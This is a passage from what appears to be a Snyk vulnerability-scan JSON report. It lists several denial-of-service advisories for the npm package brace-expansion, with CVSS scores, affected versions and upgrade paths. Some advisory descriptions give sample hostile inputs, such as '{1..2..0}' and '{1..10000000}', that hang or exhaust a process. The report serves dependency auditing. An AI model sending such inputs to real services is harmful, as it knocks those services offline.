"brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": 